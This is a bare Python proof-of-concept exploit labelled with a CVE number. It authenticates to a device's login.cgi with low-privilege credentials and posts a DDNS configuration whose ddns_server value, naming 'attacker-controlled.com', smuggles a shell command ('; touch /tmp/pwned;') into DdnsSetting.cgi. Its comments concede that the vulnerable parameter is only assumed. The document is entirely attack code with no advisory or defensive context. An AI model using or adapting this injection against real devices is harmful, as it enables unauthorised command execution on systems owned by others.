CVE-2026-42364

import requests # Target URL for the DdnsSetting.cgi endpoint target_url = "http://<target-ip>/DdnsSetting.cgi" # Malicious payload to inject OS command # Example: Creating a file to verify execution # Shell metacharacters ';' are used to break the original command injected_command = "; touch /tmp/pwned;" # Data payload simulating a DDNS configuration update # The vulnerable parameter is assumed to be ddns_server or similar based on description payload_data = { "ddns_server": "attacker-controlled.com" + injected_command, "enable": "on", "submit": "Save" } # Attacker needs low privilege credentials (PR:L) credentials = { "username": "low_priv_user", "password": "password" } try: # Establish session and authenticate session = requests.Session() session.post(target_url.replace("DdnsSetting.cgi", "login.cgi"), data=credentials) # Send exploit request response = session.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check target system for command execution result.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

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